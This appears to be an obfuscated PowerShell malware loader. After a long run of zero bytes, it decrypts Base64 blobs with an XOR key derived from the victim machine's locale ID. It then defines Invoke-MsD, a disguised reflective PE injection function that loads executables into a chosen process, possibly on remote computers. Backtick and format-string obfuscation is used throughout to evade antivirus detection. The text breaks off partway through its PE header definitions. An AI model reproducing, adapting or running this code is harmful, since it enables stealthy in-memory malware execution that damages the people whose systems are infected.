,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0)) | Out-Null |
|
|
|
|
|
$pg=""+(get-culture).LCID |
|
foreach ($Dy in $magg){ |
|
$o = @() |
|
$xx = "$($pg)".ToCharArray() |
|
$re = [System.Text.Encoding]::UTF8 |
|
$Dy = [System.Convert]::FromBase64String($Dy) |
|
for ($i = 0; $i -lt $Dy.count; $i++) { |
|
$o += [char]([Byte]$Dy[$i] -bxor [Byte]$xx[$i%$xx.count]) |
|
}} |
|
|
|
$DXx = $re.GetString($o) |
|
$Uno = [ee]::De($Dxx) |
|
|
|
|
|
|
|
${G`lo`Bal:MG`GG} = ${U`No} |
|
function In`VOke`-MsD |
|
{ |
|
[CmdletBinding()] |
|
Param( |
|
[Parameter(pOSItiOn = 0, MaNDATORy = ${FaL`SE})] |
|
[ValidateNotNullOrEmpty()] |
|
[Byte[]] |
|
${PEBY`T`es}, |
|
|
|
[Parameter(PosiTIOn = 1)] |
|
[String[]] |
|
${cO`MP`Ut`erNA`me}, |
|
|
|
[Parameter(POSiTiON = 2)] |
|
[ValidateSet( 'WString', 'String', 'Void' )] |
|
[String] |
|
${fUNc`Re`TUR`N`TYpE} = 'Void', |
|
|
|
[Parameter(pOsItion = 3)] |
|
[String] |
|
${e`xeAr`gS}, |
|
|
|
[Parameter(POSItIOn = 4)] |
|
[Int32] |
|
${pROC`iD}, |
|
|
|
[Parameter(pOSiTion = 5)] |
|
[String] |
|
${pro`C`N`AmE}, |
|
[Switch] |
|
${fORc`eA`SLr}, |
|
[Switch] |
|
${D`oNoTZErO`Mz} |
|
) |
|
&("{3}{0}{1}{4}{2}"-f 't-S','tr','tMode','Se','ic') -Version 2 |
|
${R`EmoT`ESC`R`IPtBL`OCK} = { |
|
[CmdletBinding()] |
|
Param( |
|
[Parameter(PosiTIOn = 0, mANdaToRY = ${tr`Ue})] |
|
[Byte[]] |
|
${pEB`y`TeS}, |
|
|
|
[Parameter(pOSITioN = 1, mandaToRy = ${tR`Ue})] |
|
[String] |
|
${fU`N`Cr`E`TuRNtype}, |
|
|
|
[Parameter(pOSITIon = 2, mAnDATOry = ${T`Rue})] |
|
[Int32] |
|
${PR`OcID}, |
|
|
|
[Parameter(PositioN = 3, manDATORy = ${T`RUE})] |
|
[String] |
|
${P`ROcNA`mE}, |
|
[Parameter(PoSItiON = 4, MAnDAtOrY = ${t`Rue})] |
|
[Bool] |
|
${F`Or`Ceaslr} |
|
) |
|
|
|
Function gET`-wIN32TY`PeS |
|
{ |
|
${WIn`32T`yP`ES} = &('a') ("{0}{2}{1}"-f'System','ect','.Obj') |
|
${dom`A`iN} = [AppDomain]::"curr`e`N`TdomAIN" |
|
${DYNam`iCa`SSembLy} = &('a') ("{6}{5}{1}{0}{3}{2}{4}"-f 'lec','.Ref','ion.AssemblyNa','t','me','tem','Sys')('DynamicAssembly') |
|
${ASSE`mblYbu`ILDeR} = ${Do`MAIn}."D`e`F`IN`ed`yNAMicA`sSEmbLY"(${dYnaMIcaS`se`Mb`lY}, [System.Reflection.Emit.AssemblyBuilderAccess]::"R`UN") |
|
${mODu`L`Eb`UilDer} = ${a`sSeMbLybU`iL`DEr}."defINEdYN`A`m`IC`M`odU`lE"('DynamicModule', ${f`ALse}) |
|
${CONst`R`U`CtO`RiNfO} = [System.Runtime.InteropServices.MarshalAsAttribute]."g`etC`OnstR`Uc`TORs"()[0] |
|
${T`Y`pEbuilDEr} = ${MODu`lEB`Ui`ldeR}."D`EfINee`NUm"('MachineType', 'Public', [UInt16]) |
|
${Ty`PebuILD`eR}."de`FI`Ne`L`ItErAL"('Native', [UInt16] 0) | &("{1}{0}{2}" -f 't-Nu','Ou','ll') |
|
${T`YPEbUil`DEr}."defi`N`eLITEr`Al"('I386', [UInt16] 0x014c) | &("{2}{1}{0}" -f'l','t-Nul','Ou') |
|
${t`y`PeBui`LDer}."DEFINeli`TE`R`AL"('Itanium', [UInt16] 0x0200) | &("{1}{0}{2}" -f'-','Out','Null') |
|
${Ty`pebuI`ld`Er}."deFI`NEl`ItEr`AL"('x64', [UInt16] 0x8664) | &("{0}{2}{1}"-f 'Ou','ull','t-N') |
|
${MaCH`I`N`ETypE} = ${t`y`peB`UIlDeR}."c`RE`ATe`Type"() |
|
${W`i`N3`2TYpES} | &("{2}{1}{0}" -f 'r','Membe','Add-') -MemberType ("{2}{0}{1}" -f 'Pr','operty','Note') -Name ("{1}{2}{0}" -f'neType','M','achi') -Value ${MaCH`Inety`Pe} |
|
${TyP`EbU`iLd`er} = ${ModuLeBu`I`ldER}."defIn`E`EnuM"('MagicType', 'Public', [UInt16]) |
|
${Typ`EbUI`LdER}."D`efi`NELi`TEral"('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | &("{1}{0}" -f'-Null','Out') |
|
${Typ`ebUi`LDeR}."D`EfInELi`TERAl"('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | &("{0}{1}" -f 'Ou','t-Null') |
|
${MAGI`cty`PE} = ${t`ypEBU`ILDEr}."c`REAt`EtY`Pe"() |
|
${wIn3`2TY`PEs} | &("{1}{0}{2}" -f 'emb','Add-M','er') -MemberType ("{2}{0}{1}"-f 'otePropert','y','N') -Name ("{0}{2}{1}" -f 'Mag','ype','icT') -Value ${mAGic`T`ype} |
|
${t`yp`ebuiL`dEr} = ${m`oD`Ul`e`BuiLdER}."DEfiNe`e`NuM"('SubSystemType', 'Public', [UInt16]) |
|
${TY`pEbUILd`er}."DeFINelI`T`eraL"('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | &("{0}{1}{2}" -f 'Out','-Nul','l') |
|
${TYpe`BU`I`lDeR}."defIne`LI`TErAl"('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | &("{1}{0}{2}" -f'Nu','Out-','ll') |
|
${TypeBu`I`LD`Er}."DE`F`ineL`iteR`Al"('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | &("{1}{0}{2}" -f'ut-','O','Null') |
|
${t`Ype`BuIl`DEr}."DEFIN`Eli`TErAL"('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | &("{2}{1}{0}"-f'l','-Nul','Out') |
|
${T`YPeBU`i`LDer}."De`FINeLiter`AL"('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | &("{0}{2}{1}" -f 'O','-Null','ut') |
|
${t`yPe`B`UILdEr}."d`efINe`LItE`RAl"('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | &("{0}{1}"-f'Out','-Null') |
|
${ty`PE`Bui`LdeR}."DeFINe`li`T`erAl"('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | &("{0}{1}{2}"-f'O','u','t-Null') |
|
${T`YPEbuil`dEr}."DEFINElItE`R`AL"('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | &("{1}{2}{0}"-f'-Null','Ou','t') |
|
${typeb`U`il`dER}."DEf`InELIt`eR`AL"('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | &("{0}{1}{2}" -f'Out-','Nul','l') |
|
${TyP`eBUI`L`DeR}."DEF`iNeLI`T`ErAl"('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | &("{0}{1}" -f 'Out-Nu','ll') |
|
${T`yPEb`UIld`er}."DefINEli`TE`Ral"('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | &("{0}{2}{1}" -f 'O','ll','ut-Nu') |
|
${SuB`S`YsT`eMt`ype} = ${t`YpeBUild`Er}."Crea`TE`T`ypE"() |
|
${win`3`2ty`PeS} | &("{2}{0}{1}" -f 'm','ber','Add-Me') -MemberType ("{1}{2}{0}"-f 'ty','No','teProper') -Name ("{0}{2}{3}{1}"-f'SubSys','e','t','emTyp') -Value ${su`B`SYSTEm`TyPe} |
|
${t`yp`Eb`UildER} = ${M`oDul`eb`UIlDEr}."dE`FINe`e`NUm"('DllCharacteristicsType', 'Public', [UInt16]) |
|
${t`YPe`BUiLDeR}."d`E`FineL`ItER`AL"('RES_0', [UInt16] 0x0001) | &("{2}{0}{1}" -f'ut-N','ull','O') |
|
${t`ypEb`UIldER}."dEFinEl`itE`R`AL"('RES_1', [UInt16] 0x0002) | &("{2}{1}{0}" -f'-Null','t','Ou') |
|
${T`Yp`EBU`ildEr}."De`Fi`NeLItE`R`AL"('RES_2', [UInt16] 0x0004) | &("{1}{0}{2}"-f 'l','Out-Nu','l') |
|
${t`yPeBUi`ldeR}."De`F`I`NElITEraL"('RES_3', [UInt16] 0x0008) | &("{0}{1}"-f 'Ou','t-Null') |
|
${t`Yp`EBUilDer}."d`Ef`I`N`elItErAL"('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | &("{0}{1}{2}"-f 'Ou','t-','Null') |
|
${TY`PeBUIl`dEr}."dEFin`ELIT`ER`AL"('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | &("{1}{0}{2}" -f 'l','Out-Nu','l') |
|
${T`ypEbu`I`ldEr}."DEFInEliTe`R`AL"('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | &("{1}{2}{0}" -f'll','Out','-Nu') |
|
${tyPEbU`I`ld`er}."DEfinel`iTE`RaL"('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | &("{1}{2}{0}"-f'll','O','ut-Nu') |
|
${TYpe`BUi`l`dEr}."D`eFINEL`i`TEral"('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | &("{0}{2}{1}" -f'Out-','ll','Nu') |
|
${t`yPeBUiL`DeR}."DE`FineLI`T`E`RaL"('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | &("{1}{0}{2}"-f'-Nul','Out','l') |
|
${TYP`EbuiL`dER}."Defi`N`eLiTeral"('RES_4', [UInt16] 0x1000) | &("{0}{1}{2}" -f 'Ou','t-','Null') |
|
${TYp`Eb`UILdEr}."dEf`i`NElIteRAL"('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | &("{2}{0}{1}" -f 't-','Null','Ou') |
|
${tYpE`BUil`DEr}."D`EfinEL`ItEral"('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | &("{1}{2}{0}"-f '-Null','Ou','t') |
|
${dLlCHARaCt`ER`istiCst`Y`pE} = ${TypEBUi`lD`er}."cReA`T`ETy`pe"() |
|
${WIN3`2t`YPeS} | &("{3}{2}{1}{0}"-f'r','e','-Memb','Add') -MemberType ("{0}{1}{2}" -f'N','otePr','operty') -Name ("{0}{4}{3}{1}{5}{2}" -f 'D','stics','e','ri','llCharacte','Typ') -Value ${dlLCHaR`AcTERis`Tic`S`Ty`Pe} |
|
${AtTr`IBuT`Es} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' |
|
${tYpeBuI`l`deR} = ${ModULE`Bu`ilD`er}."D`efinE`TyPe"('IMAGE_DATA_DIRECTORY', ${a`TtrI`BUTeS}, [System.ValueType], 8) |
|
(${TYPE`Bui`Lder}."D`eF`InEfIE`ld"('VirtualAddress', [UInt32], 'Public'))."Set`OFfs`eT"(0) | &("{2}{0}{1}" -f 'ut-Nu','ll','O') |
|
(${TYp`E`B`UildER}."De`FinEf`ieLd"('Size', [UInt32], 'Public'))."SetO`F`Fs`eT"(4) | &("{1}{2}{0}"-f'll','O','ut-Nu') |
|
${I`M`Ag`e_DatA_d`iReCTORY} = ${t`YpE`BU`ILder}."cReATET`y`pE"() |
|
${wI`N32T`YP`es} | &("{1}{2}{0}" -f'ember','Add-','M') -MemberType ("{0}{2}{1}" -f'N','eProperty','ot') -Name ("{0}{4}{3}{1}{2}"-f'IMAGE_DAT','C','TORY','_DIRE','A') -Value ${Ima`gE_D`ATa_DIRe`ctory} |
|
${a`TT`RIbUTeS} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${typEB`UI`ld`Er} = ${M`O`Du`lebUI`lder}."dEFI`NeT`YPe"('IMAGE_FILE_HEADER', ${a`TtrI`BuTeS}, [System.ValueType], 20) |
|
${type`B`UIlD`Er}."de`Fi`NeFiEld"('Machine', [UInt16], 'Public') | &("{2}{0}{1}" -f 'Nu','ll','Out-') |
|
${tYp`e`B`Uilder}."D`EFiNE`FiE`lD"('NumberOfSections', [UInt16], 'Public') | &("{1}{2}{0}" -f'-Null','Ou','t') |
|
${TyP`EbuI`LDEr}."dEf`IneFie`LD"('TimeDateStamp', [UInt32], 'Public') | &("{1}{2}{0}"-f'l','Ou','t-Nul') |
|
${tYPE`BUI`L`Der}."DeF`inEF`IelD"('PointerToSymbolTable', [UInt32], 'Public') | &("{1}{2}{0}" -f 'll','Out-N','u') |
|
${typ`eb`UIld`er}."DEFI`N`ef`ieLD"('NumberOfSymbols', [UInt32], 'Public') | &("{0}{1}"-f'Out-Nul','l') |
|
${T`YPE`BuiL`der}."De`FiNeF`i`ELD"('SizeOfOptionalHeader', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Out-N','ll','u') |
|
${TYp`e`BU`iLdER}."d`efin`EFI`ElD"('Characteristics', [UInt16], 'Public') | &("{1}{0}{2}"-f 'ut-N','O','ull') |
|
${imaGe_`F`i`l`E_heAd`Er} = ${t`Y`pebUIlD`er}."cReA`T`ETYpE"() |
|
${w`i`N32t`ypeS} | &("{2}{0}{1}" -f 'd','-Member','Ad') -MemberType ("{1}{2}{0}{3}" -f'er','N','oteProp','ty') -Name ("{1}{2}{4}{3}{0}"-f 'DER','IMAGE_FI','L','A','E_HE') -Value ${i`M`AGe`_Fil`e_hEad`ER} |
|
${At`TR`ibUteS} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' |
|
${Type`Bui`l`DeR} = ${modUle`BU`ILD`eR}."d`efinet`YPE"('IMAGE_OPTIONAL_HEADER64', ${Attrib`U`T`ES}, [System.ValueType], 240) |
|
(${type`Build`eR}."D`e`FINeFiElD"('Magic', ${m`Ag`IcTYpe}, 'Public'))."SEt`OFFSet"(0) | &("{0}{1}" -f'Ou','t-Null') |
|
(${typE`BUi`L`dER}."d`efInEfi`ELD"('MajorLinkerVersion', [Byte], 'Public'))."s`eToFFSeT"(2) | &("{1}{2}{0}" -f't-Null','O','u') |
|
(${typEBu`I`lDeR}."DEFi`NeF`i`ELd"('MinorLinkerVersion', [Byte], 'Public'))."sET`oFf`sET"(3) | &("{1}{0}" -f'ut-Null','O') |
|
(${tYpeb`Ui`LD`eR}."De`FIneFI`ElD"('SizeOfCode', [UInt32], 'Public'))."SEtO`F`FSEt"(4) | &("{0}{2}{1}" -f'Out','ull','-N') |
|
(${tYPe`BU`I`ldeR}."d`eFI`Ne`FiELD"('SizeOfInitializedData', [UInt32], 'Public'))."SeTo`FFS`Et"(8) | &("{0}{1}{2}"-f'Out','-','Null') |
|
(${tYp`EbUI`LDeR}."deF`IneF`IElD"('SizeOfUninitializedData', [UInt32], 'Public'))."SE`T`OffsEt"(12) | &("{1}{0}" -f '-Null','Out') |
|
(${tyPE`BuILD`Er}."dEfiNeF`iE`ld"('AddressOfEntryPoint', [UInt32], 'Public'))."sE`ToF`FSet"(16) | &("{2}{0}{1}"-f'Nu','ll','Out-') |
|
(${tYP`EbUIL`D`eR}."DEF`IN`EFiELd"('BaseOfCode', [UInt32], 'Public'))."s`ETofFs`Et"(20) | &("{0}{1}{2}"-f 'Out','-N','ull') |
|
(${TY`pe`Buil`DER}."d`E`F`iNeFIeLD"('ImageBase', [UInt64], 'Public'))."s`ETOffsEt"(24) | &("{1}{0}" -f 'l','Out-Nul') |
|
(${T`YpEBUi`LDEr}."DEfI`Nefi`eLd"('SectionAlignment', [UInt32], 'Public'))."S`Et`OffsET"(32) | &("{0}{1}{2}" -f 'Out-','Nul','l') |
|
(${tYPEb`UI`Ld`eR}."dE`F`iNeFi`ElD"('FileAlignment', [UInt32], 'Public'))."sETOFf`s`eT"(36) | &("{1}{0}{2}"-f't-Nul','Ou','l') |
|
(${TyPE`BuI`l`DEr}."deFI`NEF`I`eld"('MajorOperatingSystemVersion', [UInt16], 'Public'))."SE`TOfFSet"(40) | &("{1}{2}{0}" -f'll','O','ut-Nu') |
|
(${TyPEBUi`l`dEr}."dE`FIn`EfiEld"('MinorOperatingSystemVersion', [UInt16], 'Public'))."SetO`FfS`Et"(42) | &("{0}{2}{1}" -f 'Out-','l','Nul') |
|
(${T`Ypeb`UIldER}."defINEf`i`Eld"('MajorImageVersion', [UInt16], 'Public'))."set`o`FfSet"(44) | &("{0}{1}" -f'O','ut-Null') |
|
(${TYpE`BUil`DEr}."Def`INE`F`IeLD"('MinorImageVersion', [UInt16], 'Public'))."s`eT`ofFSeT"(46) | &("{1}{0}{2}" -f '-Nul','Out','l') |
|
(${tYp`EbUi`ld`er}."De`FiNe`F`iElD"('MajorSubsystemVersion', [UInt16], 'Public'))."se`TO`FFSEt"(48) | &("{0}{1}{2}"-f 'O','ut-','Null') |
|
(${T`Yp`EBUIl`DER}."d`eF`IneF`IELD"('MinorSubsystemVersion', [UInt16], 'Public'))."SE`ToF`FSet"(50) | &("{1}{0}" -f 'ut-Null','O') |
|
(${T`Yp`e`BuildER}."DEfineF`i`ELD"('Win32VersionValue', [UInt32], 'Public'))."s`EToffSeT"(52) | &("{0}{1}{2}"-f 'Ou','t-Nul','l') |
|
(${typ`eb`UiLDer}."dE`FINe`FIeLD"('SizeOfImage', [UInt32], 'Public'))."sEToff`s`eT"(56) | &("{2}{0}{1}"-f '-Nu','ll','Out') |
|
(${t`YpebUI`ldER}."DEfinE`FiE`lD"('SizeOfHeaders', [UInt32], 'Public'))."Se`TOffset"(60) | &("{0}{1}" -f'O','ut-Null') |
|
(${Typ`E`BuI`Lder}."dE`F`inefIeLd"('CheckSum', [UInt32], 'Public'))."set`OFF`SET"(64) | &("{0}{1}"-f'Out','-Null') |
|
(${Ty`pebu`IldEr}."dE`FINef`iE`ld"('Subsystem', ${s`Ub`sYSTEmTy`pE}, 'Public'))."set`oFfs`et"(68) | &("{2}{1}{0}" -f 'l','Nul','Out-') |
|
(${tYP`e`BuIlDER}."deFi`NE`Fi`elD"('DllCharacteristics', ${dL`LCHARAC`TeRiS`TicStYpe}, 'Public'))."sE`ToFFSeT"(70) | &("{1}{2}{0}"-f 'ull','O','ut-N') |
|
(${Typeb`UIld`Er}."deFIn`e`FiElD"('SizeOfStackReserve', [UInt64], 'Public'))."S`EtoFFS`et"(72) | &("{0}{1}{2}" -f 'O','ut-Nu','ll') |
|
(${T`ype`BUiL`DEr}."dEfI`Nef`iE`lD"('SizeOfStackCommit', [UInt64], 'Public'))."sETo`FF`seT"(80) | &("{1}{0}{2}"-f'-','Out','Null') |
|
(${tYP`E`B`UiLDEr}."DE`FiN`e`FIELd"('SizeOfHeapReserve', [UInt64], 'Public'))."sE`ToFF`set"(88) | &("{0}{1}" -f'Ou','t-Null') |
|
(${tY`pEbUi`ldeR}."deFin`efie`LD"('SizeOfHeapCommit', [UInt64], 'Public'))."SETOFF`SeT"(96) | &("{0}{2}{1}" -f 'O','ll','ut-Nu') |
|
(${tYp`ebUIL`DER}."de`Fi`NefiELd"('LoaderFlags', [UInt32], 'Public'))."sETo`Ffs`Et"(104) | &("{0}{1}{2}" -f'O','ut-Nul','l') |
|
(${tYpEb`UI`l`der}."dEF`i`NEFiE`lD"('NumberOfRvaAndSizes', [UInt32], 'Public'))."SETOF`F`sEt"(108) | &("{0}{1}{2}" -f 'Ou','t-Nu','ll') |
|
(${tY`PeBui`lD`ER}."DEFi`NeF`iE`LD"('ExportTable', ${I`MaG`E`_DaTa_DIR`ECtOry}, 'Public'))."sEt`OFFS`Et"(112) | &("{1}{0}{2}" -f'-Nul','Out','l') |
|
(${t`y`PEbUiLd`ER}."D`eFI`NE`FIELD"('ImportTable', ${imaGe`_D`A`TA_Dir`ECT`ORY}, 'Public'))."se`ToF`Fs`ET"(120) | &("{1}{0}{2}"-f'ut-Nu','O','ll') |
|
(${t`yPebu`il`dER}."dE`F`iNEFIE`Ld"('ResourceTable', ${I`MA`ge`_DAtA_dIrec`T`oRy}, 'Public'))."Set`OFfSeT"(128) | &("{2}{0}{1}" -f'ut-','Null','O') |
|
(${tyP`EBu`ILD`Er}."deFI`NEFi`eLd"('ExceptionTable', ${iMaG`E_`Dat`A_D`iRECT`orY}, 'Public'))."SeT`oFFsET"(136) | &("{1}{2}{0}" -f 'll','Ou','t-Nu') |
|
(${T`ypeBuI`ld`er}."dEfi`NEfI`elD"('CertificateTable', ${ImaG`E_daTA_diRE`C`T`oRY}, 'Public'))."s`etoffS`et"(144) | &("{0}{1}" -f 'Out-Nu','ll') |
|
(${TYp`EbUIL`d`er}."d`E`FI`NeFIEld"('BaseRelocationTable', ${iM`AgE_`D`AtA_DiReC`ToRy}, 'Public'))."Set`OFF`SET"(152) | &("{1}{2}{0}"-f 'ull','O','ut-N') |
|
(${Ty`p`EBU`IlDer}."d`eFINeFI`ELd"('Debug', ${i`mA`ge`_datA`_di`Re`ctoRY}, 'Public'))."S`Et`OFfSEt"(160) | &("{0}{2}{1}" -f'Ou','ll','t-Nu') |
|
(${ty`Pe`BUild`er}."DefiN`EF`IELD"('Architecture', ${imaG`E`_dAt`A_`dIrEc`To`Ry}, 'Public'))."SE`TO`FfSet"(168) | &("{1}{0}{2}" -f '-Nu','Out','ll') |
|
(${TYpe`BUi`LD`er}."DEF`IN`eF`ield"('GlobalPtr', ${iM`AGe_D`AtA`_`diRECtoRy}, 'Public'))."setoFf`S`eT"(176) | &("{2}{1}{0}"-f 'l','Nul','Out-') |
|
(${TY`P`ebUil`DEr}."DEf`i`NeFiELd"('TLSTable', ${i`mag`e`_data_d`IRECt`orY}, 'Public'))."SETOf`FSeT"(184) | &("{2}{0}{1}"-f't-Nul','l','Ou') |
|
(${T`yp`eBUI`ldeR}."DE`F`iN`eFIeLD"('LoadConfigTable', ${iM`AG`E`_daTA_D`IrEC`TorY}, 'Public'))."S`Etof`FS`et"(192) | &("{2}{0}{1}" -f't-Nu','ll','Ou') |
|
(${TyPeBu`I`l`dER}."DEfI`Nefi`elD"('BoundImport', ${iMagE`_`data_`diR`ecto`RY}, 'Public'))."SETo`FfS`eT"(200) | &("{1}{0}{2}" -f 'ut-Nul','O','l') |
|
(${T`YP`EbUIldeR}."D`eF`iNe`FIELD"('IAT', ${imAgE_dA`Ta_`Dire`C`T`ORy}, 'Public'))."SEToFFs`ET"(208) | &("{0}{2}{1}"-f 'Ou','l','t-Nul') |
|
(${TY`PE`BU`ILDEr}."D`e`FinEFie`ld"('DelayImportDescriptor', ${ImAge_`dAT`A_`Dir`ecTO`RY}, 'Public'))."s`E`TOffs`ET"(216) | &("{1}{0}" -f 't-Null','Ou') |
|
(${TY`p`e`BuilDER}."defI`N`efi`eLD"('CLRRuntimeHeader', ${iMage_DAtA`_d`IRE`CtORy}, 'Public'))."S`EtOFfs`eT"(224) | &("{2}{1}{0}"-f 'l','-Nul','Out') |
|
(${T`ypEb`UIL`dEr}."Defi`Nefi`elD"('Reserved', ${IM`Age_daT`A_`dir`ectoRY}, 'Public'))."s`eT`offSEt"(232) | &("{0}{1}{2}"-f 'O','ut-','Null') |
|
${IM`Age_`OPtio`N`A`l_HEa`deR64} = ${ty`PebUI`Ld`eR}."CReAt`E`Ty`pE"() |
|
${WIN`32tY`pEs} | &("{1}{2}{0}{3}" -f 'e','Add-Me','mb','r') -MemberType ("{0}{2}{1}{3}"-f 'N','e','oteProp','rty') -Name ("{3}{6}{2}{0}{1}{5}{4}{7}" -f'IO','NA','E_OPT','IMA','_HE','L','G','ADER64') -Value ${iM`A`g`E_op`T`I`onaL_HeaDe`R64} |
|
${aTt`RIBUt`ES} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' |
|
${ty`pEbUi`l`der} = ${mO`dU`lebuilD`ER}."D`EfiNEty`Pe"('IMAGE_OPTIONAL_HEADER32', ${a`TTri`BuTes}, [System.ValueType], 224) |
|
(${TyPe`B`UILD`er}."DeFi`N`EField"('Magic', ${maG`icTy`pe}, 'Public'))."sEtOF`FS`eT"(0) | &("{1}{0}" -f'll','Out-Nu') |
|
(${tYpEb`UIl`deR}."DeFi`N`EFIELD"('MajorLinkerVersion', [Byte], 'Public'))."SEtO`Ff`s`ET"(2) | &("{2}{1}{0}"-f'll','Nu','Out-') |
|
(${ty`p`EBUil`dER}."DE`F`iNefI`eLd"('MinorLinkerVersion', [Byte], 'Public'))."SE`TOFf`SET"(3) | &("{1}{0}" -f't-Null','Ou') |
|
(${tY`pEbuI`ldER}."D`EFiNefI`eLD"('SizeOfCode', [UInt32], 'Public'))."sEtof`F`seT"(4) | &("{2}{1}{0}"-f'l','-Nul','Out') |
|
(${TYP`ebU`iLdEr}."DEFi`NEF`IELd"('SizeOfInitializedData', [UInt32], 'Public'))."SET`OF`Fs`Et"(8) | &("{2}{1}{0}"-f'll','-Nu','Out') |
|
(${TY`Peb`UiLd`eR}."dEfIn`Ef`IElD"('SizeOfUninitializedData', [UInt32], 'Public'))."Setoff`SeT"(12) | &("{1}{2}{0}"-f 'Null','Out','-') |
|
(${t`ypeb`Uil`deR}."dEfIn`ef`ield"('AddressOfEntryPoint', [UInt32], 'Public'))."SEtof`Fs`ET"(16) | &("{1}{0}" -f 'ull','Out-N') |
|
(${t`Y`PEbUiLdEr}."de`F`InEfie`LD"('BaseOfCode', [UInt32], 'Public'))."s`e`TO`FfSET"(20) | &("{2}{1}{0}" -f 'l','t-Nul','Ou') |
|
(${Ty`peb`UiL`der}."d`e`FINEfIE`LD"('BaseOfData', [UInt32], 'Public'))."SEt`offSET"(24) | &("{2}{1}{0}"-f '-Null','ut','O') |
|
(${TypeBu`I`l`der}."d`eFINE`F`iElD"('ImageBase', [UInt32], 'Public'))."s`E`ToF`FsEt"(28) | &("{1}{2}{0}" -f'-Null','Ou','t') |
|
(${TY`pEb`Ui`ldER}."DeF`I`N`EField"('SectionAlignment', [UInt32], 'Public'))."s`e`TOffSET"(32) | &("{1}{0}{2}"-f 'u','Out-N','ll') |
|
